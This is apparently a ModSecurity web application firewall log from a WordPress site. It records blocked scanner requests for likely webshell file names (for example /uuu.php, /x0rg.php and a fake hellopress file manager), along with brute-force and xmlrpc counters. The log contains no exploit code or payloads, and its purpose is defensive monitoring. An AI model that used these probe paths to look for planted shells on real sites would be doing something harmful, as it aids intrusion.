[Wed Mar 25 15:37:10.822805 2026] [:error] [pid 47989:tid 48012] [client 158.158.96.10:41637] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "acOQpiWKdJMhIccROjlYDgAAAVU"]
[Wed Mar 25 15:37:11.574877 2026] [:error] [pid 25967:tid 25983] [client 158.158.96.10:62516] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "acOQp_g8Qtq7ZM4mSFn2wAAAA0s"]
[Wed Mar 25 15:37:12.293258 2026] [:error] [pid 26269:tid 26285] [client 158.158.96.10:5970] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "acOQqEn7e-ZQbaIs7qyk9gAAAYk"]
[Wed Mar 25 15:37:12.833284 2026] [:error] [pid 26449:tid 26473] [client 158.158.96.10:41630] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "acOQqNpZ2T15NDqzAjFU-QAAAlQ"]
[Wed Mar 25 15:37:14.502764 2026] [:error] [pid 25967:tid 25982] [client 158.158.96.10:57156] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "acOQqvg8Qtq7ZM4mSFn2yAAAA0o"]
[Wed Mar 25 15:37:15.512404 2026] [:error] [pid 47989:tid 47995] [client 158.158.96.10:50724] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "acOQqyWKdJMhIccROjlYGgAAAUQ"]
[Wed Mar 25 15:37:16.292893 2026] [:error] [pid 47989:tid 47996] [client 158.158.96.10:54828] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rithin.php"] [unique_id "acOQrCWKdJMhIccROjlYHQAAAUU"]
[Wed Mar 25 15:37:17.089091 2026] [:error] [pid 25967:tid 25991] [client 158.158.96.10:50759] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acOQrfg8Qtq7ZM4mSFn2zQAAA1M"]
[Wed Mar 25 15:37:17.765058 2026] [:error] [pid 25967:tid 25979] [client 158.158.96.10:53198] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acOQrfg8Qtq7ZM4mSFn20gAAA0c"]
[Wed Mar 25 15:37:18.790502 2026] [:error] [pid 25875:tid 25888] [client 158.158.96.10:51612] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acOQrhJ38QkS3Nyfshyw7QAAAoc"]
[Wed Mar 25 15:37:19.454961 2026] [:error] [pid 25875:tid 25890] [client 158.158.96.10:51605] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uuu.php"] [unique_id "acOQrxJ38QkS3Nyfshyw8wAAAok"]
[Wed Mar 25 15:37:19.955849 2026] [:error] [pid 756:tid 871] [client 158.158.96.10:51635] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "acOQrzOaW6oylMIDBCQPhQAAAJM"]
[Wed Mar 25 15:37:20.509840 2026] [:error] [pid 25967:tid 25981] [client 158.158.96.10:62178] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "acOQsPg8Qtq7ZM4mSFn21AAAA0k"]
[Wed Mar 25 15:37:21.416471 2026] [:error] [pid 25875:tid 25897] [client 158.158.96.10:51592] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "acOQsRJ38QkS3Nyfshyw9gAAApA"]
[Wed Mar 25 15:37:22.004037 2026] [:error] [pid 25967:tid 25979] [client 158.158.96.10:50115] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filesss.php"] [unique_id "acOQsvg8Qtq7ZM4mSFn23gAAA0c"]
[Wed Mar 25 15:37:22.680006 2026] [:error] [pid 47946:tid 47969] [client 158.158.96.10:53133] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aaa.php"] [unique_id "acOQsjipQTqBMSeKYhdzVwAAARU"]
[Wed Mar 25 15:37:23.205439 2026] [:error] [pid 756:tid 860] [client 158.158.96.10:55419] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aaa.php"] [unique_id "acOQszOaW6oylMIDBCQPiQAAAIg"]
[Wed Mar 25 15:37:23.911052 2026] [:error] [pid 25875:tid 25900] [client 158.158.96.10:36026] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-aaa.php"] [unique_id "acOQsxJ38QkS3Nyfshyw-AAAApM"]
[Wed Mar 25 15:37:35.125189 2026] [:error] [pid 25967:tid 25976] [client 158.158.96.10:48501] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "acOQv_g8Qtq7ZM4mSFn29gAAA0Q"]
[Wed Mar 25 15:37:35.634961 2026] [:error] [pid 25967:tid 25988] [client 158.158.96.10:55860] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "acOQv_g8Qtq7ZM4mSFn2-AAAA1A"]
[Wed Mar 25 15:37:36.120472 2026] [:error] [pid 26269:tid 26298] [client 158.158.96.10:55822] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "acOQwEn7e-ZQbaIs7qyk-AAAAZY"]
[Wed Mar 25 15:37:36.626814 2026] [:error] [pid 26449:tid 26466] [client 158.158.96.10:55304] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nox.php"] [unique_id "acOQwNpZ2T15NDqzAjFVCQAAAk0"]
[Wed Mar 25 17:31:08.447226 2026] [:error] [pid 26321:tid 26353] [client 51.103.250.122:3128] [client 51.103.250.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acOrXPKO65qqGZCSPZopKgAAAgw"]
[Wed Mar 25 17:31:08.938543 2026] [:error] [pid 25967:tid 25995] [client 51.103.250.122:41336] [client 51.103.250.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acOrXPg8Qtq7ZM4mSFki5gAAA1c"]
[Wed Mar 25 17:31:09.613619 2026] [:error] [pid 756:tid 859] [client 51.103.250.122:33589] [client 51.103.250.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acOrXTOaW6oylMIDBCQW8gAAAIc"]
[Wed Mar 25 17:38:42.883322 2026] [:error] [pid 26449:tid 26463] [client 74.248.130.23:41753] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx22.php"] [unique_id "acOtItpZ2T15NDqzAjFn5gAAAko"]
[Wed Mar 25 17:38:43.509972 2026] [:error] [pid 25967:tid 25989] [client 74.248.130.23:42058] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xl2024.php"] [unique_id "acOtI_g8Qtq7ZM4mSFkleQAAA1E"]
[Wed Mar 25 17:38:44.019688 2026] [:error] [pid 25967:tid 25995] [client 74.248.130.23:41681] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xl2024.php"] [unique_id "acOtJPg8Qtq7ZM4mSFklgwAAA1c"]
[Wed Mar 25 17:38:44.529752 2026] [:error] [pid 25967:tid 25992] [client 74.248.130.23:42307] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xl2024.php"] [unique_id "acOtJPg8Qtq7ZM4mSFkligAAA1Q"]
[Wed Mar 25 17:38:45.069406 2026] [:error] [pid 25967:tid 25996] [client 74.248.130.23:41513] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xl2024.php"] [unique_id "acOtJfg8Qtq7ZM4mSFkllgAAA1g"]
[Wed Mar 25 17:38:45.588110 2026] [:error] [pid 47989:tid 47999] [client 74.248.130.23:42103] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "acOtJSWKdJMhIccROjmU4AAAAUg"]
[Wed Mar 25 17:38:46.099163 2026] [:error] [pid 25967:tid 25978] [client 74.248.130.23:41491] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "acOtJvg8Qtq7ZM4mSFklnAAAA0Y"]
[Wed Mar 25 17:38:46.615960 2026] [:error] [pid 26321:tid 26339] [client 74.248.130.23:42112] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AAAA.php"] [unique_id "acOtJvKO65qqGZCSPZorCQAAAgA"]
[Wed Mar 25 17:38:47.130275 2026] [:error] [pid 25967:tid 25987] [client 74.248.130.23:42108] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AAAA.php"] [unique_id "acOtJ_g8Qtq7ZM4mSFklnwAAA08"]
[Wed Mar 25 17:38:47.648092 2026] [:error] [pid 26449:tid 26467] [client 74.248.130.23:41751] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AAAA.php"] [unique_id "acOtJ9pZ2T15NDqzAjFn6gAAAk4"]
[Wed Mar 25 17:38:48.161221 2026] [:error] [pid 26449:tid 26453] [client 74.248.130.23:42355] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/AAAA.php"] [unique_id "acOtKNpZ2T15NDqzAjFn7AAAAkA"]
[Wed Mar 25 17:38:48.756518 2026] [:error] [pid 25967:tid 25976] [client 74.248.130.23:41784] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta.php"] [unique_id "acOtKPg8Qtq7ZM4mSFklqgAAA0Q"]
[Wed Mar 25 17:38:49.282430 2026] [:error] [pid 25969:tid 26050] [client 74.248.130.23:42090] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta.php"] [unique_id "acOtKRd3aEUmOfdKja_8yAAAA9g"]
[Wed Mar 25 17:38:49.791699 2026] [:error] [pid 756:tid 858] [client 74.248.130.23:42401] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta.php"] [unique_id "acOtKTOaW6oylMIDBCQXbAAAAIY"]
[Wed Mar 25 17:38:50.313605 2026] [:error] [pid 25969:tid 26030] [client 74.248.130.23:42133] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ta.php"] [unique_id "acOtKhd3aEUmOfdKja_8ygAAA8Q"]
[Wed Mar 25 17:38:50.827384 2026] [:error] [pid 47946:tid 47972] [client 74.248.130.23:42138] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yawa.php"] [unique_id "acOtKjipQTqBMSeKYhd8QAAAARg"]
[Wed Mar 25 17:38:51.342804 2026] [:error] [pid 25969:tid 26039] [client 74.248.130.23:42346] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yawa.php"] [unique_id "acOtKxd3aEUmOfdKja_8zAAAA80"]
[Wed Mar 25 17:38:51.892323 2026] [:error] [pid 25967:tid 25987] [client 74.248.130.23:41719] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x0rg.php"] [unique_id "acOtK_g8Qtq7ZM4mSFklrwAAA08"]
[Wed Mar 25 17:38:52.403175 2026] [:error] [pid 25967:tid 25991] [client 74.248.130.23:42309] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x0rg.php"] [unique_id "acOtLPg8Qtq7ZM4mSFklsAAAA1M"]
[Wed Mar 25 17:38:52.916565 2026] [:error] [pid 25967:tid 25972] [client 74.248.130.23:42318] [client 74.248.130.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x0rg.php"] [unique_id "acOtLPg8Qtq7ZM4mSFklsQAAA0A"]
[Wed Mar 25 18:06:00.203502 2026] [:error] [pid 892:tid 901] [client 182.8.164.18:6854] [client 182.8.164.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.8.164.18, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "acOziCT_G8WMU3T3yxrFpgAAAMQ"]
[Wed Mar 25 18:09:21.430557 2026] [:error] [pid 756:tid 856] [client 51.103.36.25:6453] [client 51.103.36.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acO0UTOaW6oylMIDBCQZAQAAAIQ"]
[Wed Mar 25 18:57:30.092942 2026] [:error] [pid 47989:tid 48007] [client 20.220.197.73:37074] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 21"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acO_miWKdJMhIccROjnGCgAAAVA"]
[Wed Mar 25 18:57:30.916496 2026] [:error] [pid 47989:tid 48004] [client 20.220.197.73:37078] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 21"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/2024/"] [unique_id "acO_miWKdJMhIccROjnGEQAAAU0"]
[Wed Mar 25 18:57:31.750138 2026] [:error] [pid 47989:tid 48010] [client 20.220.197.73:37132] [client 20.220.197.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.220.197.73, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acO_myWKdJMhIccROjnGHAAAAVM"]
[Wed Mar 25 18:57:31.750245 2026] [:error] [pid 47989:tid 48010] [client 20.220.197.73:37132] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "acO_myWKdJMhIccROjnGHAAAAVM"]
[Wed Mar 25 18:57:32.578766 2026] [:error] [pid 25967:tid 25974] [client 20.220.197.73:37092] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-corn-sample.php"] [unique_id "acO_nPg8Qtq7ZM4mSFlI1wAAA0I"]
[Wed Mar 25 18:57:33.405832 2026] [:error] [pid 26449:tid 26477] [client 20.220.197.73:37127] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/uploads/"] [unique_id "acO_ndpZ2T15NDqzAjF02gAAAlg"]
[Wed Mar 25 18:57:34.229265 2026] [:error] [pid 25967:tid 25972] [client 20.220.197.73:37057] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "acO_nvg8Qtq7ZM4mSFlI3AAAA0A"]
[Wed Mar 25 18:57:35.062326 2026] [:error] [pid 26449:tid 26471] [client 20.220.197.73:37084] [client 20.220.197.73] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 20.220.197.73 on wp-login.php, counter = 22"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/index.php"] [unique_id "acO_n9pZ2T15NDqzAjF04gAAAlI"]
